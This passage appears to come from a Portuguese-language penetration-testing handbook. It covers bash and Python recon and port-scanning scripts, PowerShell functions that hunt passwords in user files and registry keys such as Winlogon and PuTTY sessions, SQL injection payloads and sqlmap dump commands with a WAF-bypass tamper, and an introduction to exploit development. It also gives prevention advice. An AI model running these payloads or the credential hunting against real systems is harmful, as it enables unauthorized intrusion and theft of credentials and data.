            echo "$code:$size:$full_url" >> $OUTPUT_DIR/auth_required.txt
            echo "[!] $code - $full_url (Auth Required)"
            ;;
    esac
}

# Export function for parallel execution
export -f test_url
export URL USER_AGENT OUTPUT_DIR

# Common directories and files
WORDLIST="/usr/share/wordlists/dirb/common.txt"
if [ ! -f "$WORDLIST" ]; then
    # Fallback wordlist
    cat << 'EOF' > $OUTPUT_DIR/wordlist.txt
admin
administrator
login
wp-admin
phpmyadmin
config
backup
test
tmp
temp
uploads
images
css
js
api
v1
v2
robots.txt
sitemap.xml
.htaccess
config.php
index.php
info.php
phpinfo.php
EOF
    WORDLIST="$OUTPUT_DIR/wordlist.txt"
fi

echo "[*] Using wordlist: $WORDLIST"
echo "[*] Starting fuzzing with $THREADS threads..."

# Parallel fuzzing
cat $WORDLIST | head -1000 | xargs -n 1 -P $THREADS -I {} bash -c 'test_url "{}"'

# Technology detection
echo "[*] Detecting web technologies..."
whatweb "$URL" > $OUTPUT_DIR/technology.txt 2>/dev/null

# Check for common files
echo "[*] Checking for common interesting files..."
INTERESTING_FILES=(
    "robots.txt"
    "sitemap.xml"
    ".htaccess"
    "web.config"
    "crossdomain.xml"
    "clientaccesspolicy.xml"
    ".git/config"
    ".svn/entries"
    "composer.json"
    "package.json"
    "README.md"
)

for file in "${INTERESTING_FILES[@]}"; do
    test_url "$file" &
done
wait

# Generate report
echo "[*] Generating report..."
{
    echo "=== Web Enumeration Report ==="
    echo "Target: $URL"
    echo "Date: $(date)"
    echo ""
    
    if [ -f "$OUTPUT_DIR/found.txt" ]; then
        echo "=== Found Endpoints ==="
        sort $OUTPUT_DIR/found.txt
        echo ""
    fi
    
    if [ -f "$OUTPUT_DIR/auth_required.txt" ]; then
        echo "=== Authentication Required ==="
        cat $OUTPUT_DIR/auth_required.txt
        echo ""
    fi
    
    if [ -f "$OUTPUT_DIR/technology.txt" ]; then
        echo "=== Technology Stack ==="
        cat $OUTPUT_DIR/technology.txt
    fi
} > $OUTPUT_DIR/report.txt

echo "[+] Enumeration completed! Check $OUTPUT_DIR/report.txt"

Subdomain Enumerator

#!/bin/bash
# Advanced Subdomain Enumeration
# ./subdomains.sh 

DOMAIN=$1
OUTPUT_DIR="subdomains_${DOMAIN}_$(date +%Y%m%d_%H%M%S)"

if [ -z "$DOMAIN" ]; then
    echo "Usage: $0 "
    exit 1
fi

mkdir -p $OUTPUT_DIR
echo "[+] Starting subdomain enumeration for $DOMAIN"

# Function for subdomain discovery
discover_subdomains() {
    echo "[*] Certificate transparency search..."
    curl -s "https://crt.sh/?q=$DOMAIN&output=json" | \
        jq -r '.[].name_value' | \
        sed 's/\*\.//g' | \
        sort -u > $OUTPUT_DIR/crt_sh.txt

    echo "[*] DNS brute force..."
    if command -v sublist3r &> /dev/null; then
        sublist3r -d $DOMAIN -o $OUTPUT_DIR/sublist3r.txt -t 50 > /dev/null 2>&1
    fi

    # DNS bruteforce with custom wordlist
    echo "[*] Custom DNS brute force..."
    SUBDOMAINS=(
        "www" "mail" "ftp" "localhost" "webmail" "smtp" "pop" "ns1" "webdisk"
        "ns2" "cpanel" "whm" "autodiscover" "autoconfig" "m" "imap" "test"
        "ns" "blog" "pop3" "dev" "www2" "admin" "forum" "news" "vpn" "ns3"
        "mail2" "new" "mysql" "old" "www1" "beta" "shop" "stage" "secure"
        "api" "app" "portal" "staging" "support" "web" "bbs" "ww1" "owa"
        "demo" "manager" "mobile" "docs" "help" "en" "start" "sms" "backup"
    )

    for sub in "${SUBDOMAINS[@]}"; do
        if nslookup "$sub.$DOMAIN" > /dev/null 2>&1; then
            echo "$sub.$DOMAIN" >> $OUTPUT_DIR/bruteforce.txt
            echo "[+] Found: $sub.$DOMAIN"
        fi
    done &

    wait
}

# Combine all results
combine_results() {
    echo "[*] Combining results..."
    cat $OUTPUT_DIR/*.txt 2>/dev/null | sort -u > $OUTPUT_DIR/all_subdomains.txt
    
    # Verify live subdomains
    echo "[*] Verifying live subdomains..."
    while read subdomain; do
        if [ ! -z "$subdomain" ]; then
            if ping -c 1 "$subdomain" > /dev/null 2>&1; then
                echo "$subdomain" >> $OUTPUT_DIR/live_subdomains.txt
                echo "[+] Live: $subdomain"
            fi
        fi
    done < $OUTPUT_DIR/all_subdomains.txt &

    wait
}

# Generate report
generate_report() {
    echo "[*] Generating report..."
    {
        echo "=== Subdomain Enumeration Report ==="
        echo "Domain: $DOMAIN"
        echo "Date: $(date)"
        echo ""
        
        if [ -f "$OUTPUT_DIR/all_subdomains.txt" ]; then
            echo "Total subdomains found: $(wc -l < $OUTPUT_DIR/all_subdomains.txt)"
        fi
        
        if [ -f "$OUTPUT_DIR/live_subdomains.txt" ]; then
            echo "Live subdomains: $(wc -l < $OUTPUT_DIR/live_subdomains.txt)"
            echo ""
            echo "=== Live Subdomains ==="
            cat $OUTPUT_DIR/live_subdomains.txt
        fi
    } > $OUTPUT_DIR/report.txt
}

# Execute functions
discover_subdomains
combine_results
generate_report

echo "[+] Subdomain enumeration completed! Check $OUTPUT_DIR/report.txt"

Scripts de Automação Completa

Pentest Automation Framework

#!/bin/bash
# Complete Pentest Automation Framework
# ./pentester.sh  [scope]

TARGET=$1
SCOPE=${2:-"basic"}  # basic, full, stealth
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
OUTPUT_DIR="pentest_${TARGET}_${TIMESTAMP}"

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

banner() {
    echo -e "${BLUE}"
    echo "╔══════════════════════════════════════════════════════════════╗"
    echo "║                    PENTEST AUTOMATION                       ║"
    echo "║                      Version 1.0                           ║"
    echo "╚══════════════════════════════════════════════════════════════╝"
    echo -e "${NC}"
}

log() {
    echo -e "${GREEN}[$(date '+%H:%M:%S')] $1${NC}"
}

warning() {
    echo -e "${YELLOW}[WARNING] $1${NC}"
}

error() {
    echo -e "${RED}[ERROR] $1${NC}"
}

check_tools() {
    log "Checking required tools..."
    TOOLS=("nmap" "curl" "whatweb" "dig" "whois")
    
    for tool in "${TOOLS[@]}"; do
        if ! command -v $tool &> /dev/null; then
            error "$tool is not installed"
            exit 1
        fi
    done
    log "All required tools are available"
}

recon_phase() {
    log "Starting reconnaissance phase..."
    mkdir -p $OUTPUT_DIR/recon
    
    # WHOIS lookup
    log "WHOIS lookup..."
    whois $TARGET > $OUTPUT_DIR/recon/whois.txt 2>/dev/null
    
    # DNS enumeration
    log "DNS enumeration..."
    dig $TARGET ANY > $OUTPUT_DIR/recon/dns.txt 2>/dev/null
    
    # Subdomain enumeration
    log "Subdomain enumeration..."
    timeout 300 bash -c "
        for sub in www mail ftp admin api app dev test staging; do
            if nslookup \$sub.$TARGET > /dev/null 2>&1; then
                echo \$sub.$TARGET >> $OUTPUT_DIR/recon/subdomains.txt
            fi
        done
    " &
    
    wait
}

scanning_phase() {
    log "Starting scanning phase..."
    mkdir -p $OUTPUT_DIR/scanning
    
    case $SCOPE in
        "stealth")
            TIMING="T1"
            PORTS="80,443,22,21,25,53"
            ;;
        "full")
            TIMING="T4"
            PORTS="1-65535"
            ;;
        *)
            TIMING="T3"
            PORTS="1-1000"
            ;;
    esac
    
    log "Port scanning with timing $TIMING..."
    nmap -sS -$TIMING -p $PORTS $TARGET --open -oA $OUTPUT_DIR/scanning/portscan
    
    # Service detection
    OPEN_PORTS=$(grep "open" $OUTPUT_DIR/scanning/portscan.gnmap | grep -oP '\d+/open' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    
    if [ ! -z "$OPEN_PORTS" ]; then
        log "Service detection on ports: $OPEN_PORTS"
        nmap -sV -sC -p $OPEN_PORTS $TARGET -oA $OUTPUT_DIR/scanning/services
    fi
}

web_enum_phase() {
    log "Starting web enumeration phase..."
    mkdir -p $OUTPUT_DIR/web
    
    # Check if HTTP/HTTPS is open
    if grep -q "80/open\|443/open\|8080/open\|8443/open" $OUTPUT_DIR/scanning/portscan.gnmap; then
        log "Web services detected, starting enumeration..."
        
        # Technology detection
        whatweb $TARGET > $OUTPUT_DIR/web/technology.txt 2>/dev/null
        
        # Basic directory enumeration
        curl -s $TARGET/robots.txt > $OUTPUT_DIR/web/robots.txt 2>/dev/null
        curl -s $TARGET/sitemap.xml > $OUTPUT_DIR/web/sitemap.xml 2>/dev/null
        
        # Common files check
        COMMON_FILES=("admin" "login" "config" "backup" "test" "info.php" "phpinfo.php")
        for file in "${COMMON_FILES[@]}"; do
            STATUS=$(curl -s -o /dev/null -w "%{http_code}" $TARGET/$file)
            if [ "$STATUS" == "200" ]; then
                echo "$TARGET/$file - $STATUS" >> $OUTPUT_DIR/web/interesting_files.txt
            fi
        done
    fi
}

vulnerability_scan() {
    log "Starting vulnerability scanning..."
    mkdir -p $OUTPUT_DIR/vulnerabilities
    
    # Nmap vulnerability scripts
    if [ -f "$OUTPUT_DIR/scanning/services.gnmap" ]; then
        log "Running Nmap vulnerability scripts..."
        nmap --script vuln --script-args=unsafe=1 -iL <(grep "open" $OUTPUT_DIR/scanning/services.gnmap | cut -d' ' -f2) -oA $OUTPUT_DIR/vulnerabilities/vuln_scan
    fi
}

generate_report() {
    log "Generating final report..."
    
    cat << EOF > $OUTPUT_DIR/final_report.md
# Penetration Test Report

**Target:** $TARGET  
**Date:** $(date)  
**Scope:** $SCOPE  

## Executive Summary

This report contains the findings from an automated penetration test against $TARGET.

## Reconnaissance

$(if [ -f "$OUTPUT_DIR/recon/whois.txt" ]; then echo "### WHOIS Information"; cat $OUTPUT_DIR/recon/whois.txt | head -20; fi)

$(if [ -f "$OUTPUT_DIR/recon/subdomains.txt" ]; then echo "### Subdomains Found"; cat $OUTPUT_DIR/recon/subdomains.txt; fi)

## Port Scan Results

$(if [ -f "$OUTPUT_DIR/scanning/portscan.nmap" ]; then grep "open" $OUTPUT_DIR/scanning/portscan.nmap | head -20; fi)

## Web Services

$(if [ -f "$OUTPUT_DIR/web/technology.txt" ]; then echo "### Technology Stack"; cat $OUTPUT_DIR/web/technology.txt; fi)

$(if [ -f "$OUTPUT_DIR/web/interesting_files.txt" ]; then echo "### Interesting Files"; cat $OUTPUT_DIR/web/interesting_files.txt; fi)

## Vulnerabilities

$(if [ -f "$OUTPUT_DIR/vulnerabilities/vuln_scan.nmap" ]; then grep -A 5 "VULNERABLE" $OUTPUT_DIR/vulnerabilities/vuln_scan.nmap || echo "No critical vulnerabilities detected by automated scan"; fi)

## Recommendations

1. Review all open services and ensure they are necessary
2. Implement proper access controls
3. Keep all software up to date
4. Monitor for suspicious activities

---
*This report was generated automatically. Manual verification is recommended.*
EOF

    log "Report generated: $OUTPUT_DIR/final_report.md"
}

# Main execution
main() {
    if [ -z "$TARGET" ]; then
        echo "Usage: $0  [scope: basic|full|stealth]"
        exit 1
    fi
    
    banner
    log "Starting pentest against $TARGET with scope: $SCOPE"
    
    check_tools
    recon_phase
    scanning_phase
    web_enum_phase
    vulnerability_scan
    generate_report
    
    log "Pentest automation completed!"
    log "Results saved in: $OUTPUT_DIR"
    warning "This is an automated scan. Manual verification is strongly recommended."
}

# Trap to clean up on interruption
trap 'echo -e "\n${RED}[!] Scan interrupted by user${NC}"; exit 1' INT

main "$@"

Scripts PowerShell

PowerShell Recon

# PowerShell Network Discovery
function Invoke-NetworkScan {
    param(
        [string]$Network = "REDE_ALVO",
        [int]$Threads = 50
    )
    
    $Jobs = @()
    1..254 | ForEach-Object {
        $IP = "$Network.$_"
        $Jobs += Start-Job -ScriptBlock {
            param($IP)
            if (Test-Connection -ComputerName $IP -Count 1 -Quiet) {
                $IP
            }
        } -ArgumentList $IP
    }
    
    $Jobs | Wait-Job | Receive-Job
    $Jobs | Remove-Job
}

# PowerShell Port Scanner
function Invoke-PortScan {
    param(
        [string]$ComputerName,
        [int[]]$Ports = @(21,22,23,25,53,80,110,443,993,995,3389)
    )
    
    foreach ($Port in $Ports) {
        try {
            $Socket = New-Object System.Net.Sockets.TcpClient
            $Socket.ReceiveTimeout = 1000
            $Socket.SendTimeout = 1000
            $Socket.Connect($ComputerName, $Port)
            "$ComputerName : $Port - OPEN"
            $Socket.Close()
        }
        catch {
            # Port closed
        }
    }
}

PowerShell System Info

# System Information Gathering
function Get-SystemInfo {
    $OS = Get-WmiObject -Class Win32_OperatingSystem
    $CPU = Get-WmiObject -Class Win32_Processor
    $Memory = Get-WmiObject -Class Win32_ComputerSystem
    $Disk = Get-WmiObject -Class Win32_LogicalDisk
    
    [PSCustomObject]@{
        'Computer' = $env:COMPUTERNAME
        'OS' = $OS.Caption
        'Version' = $OS.Version
        'Architecture' = $OS.OSArchitecture
        'CPU' = $CPU.Name
        'Memory(GB)' = [math]::Round($Memory.TotalPhysicalMemory/1GB, 2)
        'Disks' = $Disk | Where-Object {$_.DriveType -eq 3} | ForEach-Object {"$($_.DeviceID) $([math]::Round($_.Size/1GB, 2))GB"}
        'Domain' = $env:USERDOMAIN
        'User' = $env:USERNAME
    }
}

# Network Configuration
function Get-NetworkInfo {
    $Adapters = Get-WmiObject -Class Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled}
    
    foreach ($Adapter in $Adapters) {
        [PSCustomObject]@{
            'Description' = $Adapter.Description
            'IPAddress' = $Adapter.IPAddress -join ', '
            'SubnetMask' = $Adapter.IPSubnet -join ', '
            'Gateway' = $Adapter.DefaultIPGateway -join ', '
            'DNS' = $Adapter.DNSServerSearchOrder -join ', '
            'DHCP' = $Adapter.DHCPEnabled
        }
    }
}

PowerShell Credential Hunting

# Find credentials in common locations
function Find-Credentials {
    $Locations = @(
        "$env:USERPROFILE\Desktop\*password*",
        "$env:USERPROFILE\Documents\*password*",
        "$env:USERPROFILE\Downloads\*password*",
        "C:\Users\*\AppData\Local\*\*password*",
        "C:\Users\*\AppData\Roaming\*\*password*"
    )
    
    foreach ($Location in $Locations) {
        Get-ChildItem -Path $Location -Recurse -ErrorAction SilentlyContinue | 
        Where-Object {$_.Name -match "(password|credential|login|account)"} |
        Select-Object FullName, Length, LastWriteTime
    }
}

# Registry credential search
function Search-RegistryCredentials {
    $RegPaths = @(
        "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon",
        "HKCU:\Software\SimonTatham\PuTTY\Sessions",
        "HKLM:\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
    )
    
    foreach ($Path in $RegPaths) {
        try {
            Get-ItemProperty -Path $Path -ErrorAction Stop | 
            Format-List | Out-String
        }
        catch {
            # Registry key not found
        }
    }
}

Scripts Python

Python Port Scanner

#!/usr/bin/env python3
import socket
import threading
import sys
from datetime import datetime

class PortScanner:
    def __init__(self, target, threads=100):
        self.target = target
        self.threads = threads
        self.open_ports = []
        self.lock = threading.Lock()
    
    def scan_port(self, port):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            result = sock.connect_ex((self.target, port))
            
            if result == 0:
                with self.lock:
                    self.open_ports.append(port)
                    print(f"Port {port}: Open")
            
            sock.close()
        except:
            pass
    
    def scan_range(self, start_port, end_port):
        print(f"Scanning {self.target} from port {start_port} to {end_port}")
        print(f"Starting scan at {datetime.now()}")
        
        threads = []
        for port in range(start_port, end_port + 1):
            thread = threading.Thread(target=self.scan_port, args=(port,))
            threads.append(thread)
            thread.start()
            
            # Limit concurrent threads
            if len(threads) >= self.threads:
                for t in threads:
                    t.join()
                threads = []
        
        # Wait for remaining threads
        for thread in threads:
            thread.join()
        
        print(f"\nScan completed at {datetime.now()}")
        print(f"Open ports: {sorted(self.open_ports)}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 portscan.py ")
        sys.exit(1)
    
    target = sys.argv[1]
    scanner = PortScanner(target)
    scanner.scan_range(1, 1000)

Python Web Crawler

#!/usr/bin/env python3
import requests
import re
import urllib.parse
from bs4 import BeautifulSoup
import time

class WebCrawler:
    def __init__(self, base_url, max_depth=2):
        self.base_url = base_url
        self.max_depth = max_depth
        self.visited = set()
        self.found_urls = set()
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
    
    def is_valid_url(self, url):
        parsed = urllib.parse.urlparse(url)
        return parsed.netloc == urllib.parse.urlparse(self.base_url).netloc
    
    def get_links(self, url):
        try:
            response = self.session.get(url, timeout=10)
            soup = BeautifulSoup(response.content, 'html.parser')
            
            links = []
            for link in soup.find_all('a', href=True):
                href = link['href']
                full_url = urllib.parse.urljoin(url, href)
                
                if self.is_valid_url(full_url):
                    links.append(full_url)
            
            return links
        except Exception as e:
            print(f"Error crawling {url}: {e}")
            return []
    
    def crawl(self, url, depth=0):
        if depth > self.max_depth or url in self.visited:
            return
        
        print(f"Crawling: {url} (depth: {depth})")
        self.visited.add(url)
        self.found_urls.add(url)
        
        links = self.get_links(url)
        for link in links:
            self.crawl(link, depth + 1)
        
        time.sleep(0.5)  # Be respectful
    
    def save_results(self, filename):
        with open(filename, 'w') as f:
            for url in sorted(self.found_urls):
                f.write(f"{url}\n")

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print("Usage: python3 webcrawler.py ")
        sys.exit(1)
    
    base_url = sys.argv[1]
    crawler = WebCrawler(base_url)
    crawler.crawl(base_url)
    crawler.save_results(f"crawl_results_{urllib.parse.urlparse(base_url).netloc}.txt")
    print(f"Found {len(crawler.found_urls)} URLs")

Ferramentas de Saída

Formatação de Relatórios

# HTML Report Generator
function Generate-HTMLReport {
    param($Data, $Title)
    
    $HTML = @"



    $Title
    


    

$Title

Generated: $(Get-Date)

$Data "@ return $HTML } # JSON Output $Results | ConvertTo-Json -Depth 5 | Out-File results.json # CSV Output $Results | Export-Csv -Path results.csv -NoTypeInformation

Notificações

# Slack notification
function Send-SlackAlert {
    param($Message, $WebhookUrl)
    
    $Payload = @{
        text = $Message
        channel = "#security"
        username = "PentestBot"
    } | ConvertTo-Json
    
    Invoke-RestMethod -Uri $WebhookUrl -Method Post -Body $Payload -ContentType "application/json"
}

# Email notification
function Send-EmailAlert {
    param($Subject, $Body, $To)
    
    Send-MailMessage -SmtpServer "smtp.company.com" -From "pentest@company.com" -To $To -Subject $Subject -Body $Body
}
O que é SQL Injection?

SQL Injection ocorre quando conseguimos injetar dados diretamente no banco de dados. A aplicação não trata as informações que você envia, assim podemos manipular o banco de dados e sua lógica de funcionamento.

Como Funciona SQL Injection

1

Identificar Input

Encontrar campos que interagem com BD

2

Testar Payloads

Injetar comandos SQL maliciosos

3

Confirmar Vuln

Verificar se a injeção foi bem-sucedida

4

Explorar

Extrair dados ou executar comandos

Tipos de SQL Injection

SQL Injection Clássico

Bypass de Autenticação

# Payload básico
' or 1=1;#
' or 1=1--
admin'--
' or 'a'='a

# Em formulários de login
Username: admin'--
Password: qualquer_coisa

# URL GET
http://site.com.br/login.php?user=admin'--&pass=123

Explicação: O comando or 1=1 sempre retorna verdadeiro, burlando a validação de login.

Extração de Dados

# Listar tabelas (MySQL)
' UNION SELECT table_name,null FROM information_schema.tables--

# Listar colunas
' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users'--

# Extrair dados
' UNION SELECT username,password FROM users--

# Versão do banco
' UNION SELECT version(),database()--

Exemplo Prático

Cenário: Login Vulnerável

Query original:

SELECT * FROM users WHERE username='$user' AND password='$pass' LIMIT 1

Payload injetado:

Username: admin' or 1=1;#

Query resultante:

SELECT * FROM users WHERE username='admin' or 1=1;#' AND password='$pass' LIMIT 1

O # comenta o resto da query, ignorando a validação de senha

Blind SQL Injection

Quando não recebemos feedback direto do banco, mas podemos inferir informações pelo comportamento da aplicação.

Boolean-Based Blind

# Testar se existe injeção
' and 1=1--    (resposta normal)
' and 1=2--    (resposta diferente)

# Extrair dados caractere por caractere
' and (select substring(user(),1,1))='r'--
' and (select substring(user(),2,1))='o'--
' and (select substring(user(),3,1))='o'--

# Verificar se tabela existe
' and (select count(*) from users)>0--

# Descobrir tamanho da senha
' and (select length(password) from users where username='admin')=5--

Automatização com SQLMap

# Blind SQL Injection com SQLMap
sqlmap -u "http://site.com.br/page.php?id=1" --blind

# Com cookies
sqlmap -u "http://site.com.br/page.php" --cookie="PHPSESSID=abc123" --blind

# POST data
sqlmap -u "http://site.com.br/login.php" --data="user=admin&pass=123" --blind

# Extrair dados específicos
sqlmap -u "http://site.com.br/page.php?id=1" --blind --dump -T users

Time-Based SQL Injection

Usa delays para determinar se a injeção foi bem-sucedida quando não há diferença visível na resposta.

MySQL
Delay usando SLEEP()
' or sleep(5)--
' and if(1=1,sleep(5),null)--
' and if((select user())='root',sleep(5),null)--
PostgreSQL
Delay usando pg_sleep()
' or pg_sleep(5)--
'; select pg_sleep(5)--
SQL Server
Delay usando WAITFOR
' or waitfor delay '0:0:5'--
'; waitfor delay '0:0:5'--
Oracle
Delay usando dbms_pipe
' or dbms_pipe.receive_message(('a'),5) is null--

Union-Based SQL Injection

Usa o comando UNION para combinar resultados de múltiplas queries e extrair dados.

Descobrir Número de Colunas

# Método ORDER BY
' order by 1--    (sucesso)
' order by 2--    (sucesso)
' order by 3--    (sucesso)
' order by 4--    (erro - descobrimos que há 3 colunas)

# Método UNION
' union select null--         (erro)
' union select null,null--    (erro)
' union select null,null,null--    (sucesso - 3 colunas)

Identificar Colunas Visíveis

# Testar quais colunas são exibidas na página
' union select 1,2,3--
' union select 'test',2,3--
' union select 1,'test',3--
' union select 1,2,'test'--

# Se as colunas 1 e 3 aparecem na página, usar:
' union select version(),null,database()--

Extrair Informações do Sistema

# MySQL
' union select version(),user(),database()--
' union select schema_name,null,null from information_schema.schemata--
' union select table_name,null,null from information_schema.tables where table_schema=database()--
' union select column_name,data_type,null from information_schema.columns where table_name='users'--

# PostgreSQL
' union select version(),current_user,current_database()--
' union select schemaname,null,null from pg_tables--
' union select tablename,null,null from pg_tables where schemaname='public'--

# SQL Server
' union select @@version,user_name(),db_name()--
' union select name,null,null from sys.databases--
' union select name,null,null from sys.tables--

# Oracle
' union select banner,null,null from v$version--
' union select table_name,null,null from user_tables--

Ferramentas para SQL Injection

SQLMap

Ferramenta automática mais popular para SQL Injection

# Básico
sqlmap -u "http://site.com.br/page.php?id=1"

# COM POST data
sqlmap -u "http://site.com.br/login.php" --data="user=admin&pass=123"

# Extrair bancos de dados
sqlmap -u "http://site.com.br/page.php?id=1" --dbs

# Extrair tabelas
sqlmap -u "http://site.com.br/page.php?id=1" -D database_name --tables

# Extrair dados
sqlmap -u "http://site.com.br/page.php?id=1" -D database_name -T users --dump

# Bypass WAF
sqlmap -u "http://site.com.br/page.php?id=1" --tamper=space2comment

jSQL Injection

Interface gráfica para SQL Injection

# Download e execução
wget https://github.com/ron190/jsql-injection/releases/download/v0.82/jsql-injection-v0.82.jar
java -jar jsql-injection-v0.82.jar

# Recursos:
# - Interface gráfica intuitiva
# - Suporte a múltiplos SGBDs
# - Detecção automática de vulnerabilidades
# - Extração de dados visual

NoSQLMap

Para bancos NoSQL (MongoDB, CouchDB)

# Instalação
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python nosqlmap.py

# Uso básico
python nosqlmap.py -t http://site.com.br/login -p user

# MongoDB injection
{"user": {"$ne": null}, "pass": {"$ne": null}}

Burp Suite

SQL Injection manual com Repeater

# Interceptar requisição
# Enviar para Repeater (Ctrl+R)
# Modificar parâmetros:

Original: user=admin&pass=123
Teste: user=admin'&pass=123
SQLi: user=admin' or 1=1--&pass=123

# Intruder para automatizar payloads
# Posições: user=admin§'§&pass=123
# Payloads: lista de SQL injection payloads

Prevenção de SQL Injection

Prepared Statements (PHP)

prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();

// SEGURO - Named parameters
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass");
$stmt->execute(['user' => $username, 'pass' => $password]);
?>

Validação de Input

# Whitelist de caracteres
function validateInput($input) {
    // Permitir apenas letras, números e alguns símbolos
    if (!preg_match('/^[a-zA-Z0-9_.-]+$/', $input)) {
        throw new Exception("Invalid input");
    }
    return $input;
}

# Escape de caracteres especiais
$username = mysqli_real_escape_string($connection, $_POST['username']);

# Usar htmlspecialchars para output
echo htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

Princípio do Menor Privilégio

Configuração do Banco
  • Usuário da aplicação sem privilégios administrativos
  • Acesso limitado apenas às tabelas necessárias
  • Sem permissões de CREATE, DROP, ALTER
  • Sem acesso a tabelas do sistema
  • Firewall de banco de dados ativo

WAF (Web Application Firewall)

# ModSecurity rules para SQL Injection
SecRule ARGS "@detectSQLi" \
    "id:1001,phase:2,block,msg:'SQL Injection Attack'"

# CloudFlare WAF
# Proteção automática contra SQL Injection

# AWS WAF
{
  "Name": "SQLiRule",
  "MetricName": "SQLiRule",
  "DefaultAction": { "Type": "ALLOW" },
  "Rules": [{
    "Priority": 1,
    "RuleId": "AWSManagedRulesSQLiRuleSet"
  }]
}
Dicas Importantes
  • Sempre teste em ambiente autorizado: SQL Injection pode causar danos permanentes
  • Documente tudo: Mantenha logs detalhados dos testes realizados
  • Combine técnicas: Use manual + automático para melhor cobertura
  • Teste diferentes contextos: GET, POST, Headers, Cookies
  • Considere encodings: URL encoding, Base64, Unicode

Desenvolvimento de Exploits

O desenvolvimento de exploits é uma arte que combina conhecimento profundo de arquitetura de sistemas, assembly, debugging e técnicas de engenharia reversa para transformar vulnerabilidades em código executável.

Assembly e Arquitetura

Fundamentos Assembly

Existem duas sintaxes principais: Intel e AT&T. Intel é mais limpa e é a mais usada em exploit development.

Sintaxe Intel vs AT&T

# Intel Syntax (mais limpa)
mov eax, ebx        ; ebx → eax
mov eax, [ebx]      ; *ebx → eax
mov [eax], ebx      ; ebx → *eax
add eax, 4          ; eax = eax + 4

# AT&T Syntax
movl %ebx, %eax     ; ebx → eax
movl (%ebx), %eax   ; *ebx → eax
movl %ebx, (%eax)   ; ebx → *eax
addl $4, %eax       ; eax = eax + 4

Instruções Fundamentais

Instrução Função Exemplo
mov Mover dados mov eax, 0x41414141
push Empurrar para stack push eax
pop Tirar da stack pop eax
call Chamar função call 0x08048000
ret Retornar ret
jmp Salto incondicional jmp esp
nop No operation nop (0x90)

Registradores x86

Registradores Gerais (32-bit)

Registrador Uso Principal Descrição
EAX Accumulator Usado para operações aritméticas
EBX Base Ponteiro base para dados
ECX Counter Contador para loops
EDX Data Dados e operações de I/O
ESP Stack Pointer Aponta para topo da stack
EBP Base Pointer Frame pointer da função
ESI Source Index Índice fonte para strings
EDI Destination Index Índice destino para strings
EIP Instruction Pointer Próxima instrução (CRÍTICO)

Tamanhos de Registradores

# 32-bit (EAX = 0x12345678)
EAX: 0x12345678  (32 bits completos)
AX:  0x5678      (16 bits baixos)
AH:  0x56        (8 bits altos de AX)
AL:  0x78        (8 bits baixos de AX)

# Mesmo padrão para EBX/BX/BH/BL, ECX/CX/CH/CL, EDX/DX/DH/DL

# 64-bit (RAX = 0x123456789ABCDEF0)
RAX: 0x123456789ABCDEF0  (64 bits)
EAX: 0x9ABCDEF0          (32 bits baixos)
AX:  0xDEF0              (16 bits baixos)
AL:  0xF0                (8 bits baixos)

Operações de Stack

Stack Layout e Endianness

# A stack cresce para baixo (endereços menores)
# Ao escrever exploits, escrever em hexa ao contrário

# Exemplo: queremos JMP ESP (0x7C874413)
# Na stack deve ser: \x13\x44\x87\x7C (little-endian)

# Stack antes do PUSH EAX (EAX = 0x41424344):
ESP → 0x7FFFF000: [vazio]
      0x7FFEF000: dados antigos

# Stack depois do PUSH EAX:
ESP → 0x7FFFEFFC: 0x41424344  ← EAX foi empurrado
      0x7FFFF000: [antigo topo]

Function Prologue e Epilogue

# Function Prologue (entrada da função)
push ebp        ; Salvar frame pointer anterior
mov ebp, esp    ; Estabelecer novo frame pointer
sub esp, 0x20   ; Alocar espaço para variáveis locais

# Durante a função:
# [EBP-0x20] até [EBP-0x01]: variáveis locais
# [EBP+0x00]: saved EBP
# [EBP+0x04]: return address
# [EBP+0x08]: primeiro parâmetro
# [EBP+0x0C]: segundo parâmetro

# Function Epilogue (saída da função)
mov esp, ebp    ; Restaurar stack pointer
pop ebp         ; Restaurar frame pointer anterior
ret             ; Retornar (pop EIP)

Convenções de Chamada

cdecl (C Convention)

# Parâmetros passados na stack (direita para esquerda)
# Chamador limpa a stack

# Exemplo: func(a, b, c)
push c
push b
push a
call func
add esp, 12    ; Limpar stack (3 params × 4 bytes)

stdcall (Windows API)

# Parâmetros na stack (direita para esquerda)
# Função chamada limpa a stack

# Exemplo: CreateFileA
push 0              ; hTemplateFile
push 0              ; dwFlagsAndAttributes
push 3              ; dwCreationDisposition
push 0              ; lpSecurityAttributes
push 1              ; dwShareMode
push 0x80000000     ; dwDesiredAccess
push filename       ; lpFileName
call CreateFileA    ; Função limpa stack automaticamente

fastcall

# Primeiros 2 parâmetros em ECX e EDX
# Resto na stack

# Exemplo: func(a, b, c, d)
push d
push c
mov edx, b
mov ecx, a
call func

Ferramentas de Debugging

GDB (Linux)

# Carregar programa
gdb ./programa
gdb --args ./programa arg1 arg2

# Breakpoints
break main
break *0x08048000
break function_name

# Execução
run
continue
step            # step into
next            # step over
finish          # step out

# Examinar memória
x/10i $eip      # 10 instruções a partir do EIP
x/10x $esp      # 10 words em hex a partir do ESP
x/s 0x08048000  # string no endereço

# Registradores
info registers
print $eax
set $eax=0x41414141

# Stack trace
backtrace
info frame

Immunity Debugger (Windows)

# Plugins úteis
!mona config -set workingfolder c:\logs
!mona pc 4000                    # Criar pattern
!mona po A0A1A2A3                # Encontrar offset
!mona jmp -r esp                 # Encontrar JMP ESP
!mona seh                        # SEH chains
!mona modules                    # Módulos carregados

# Comandos básicos
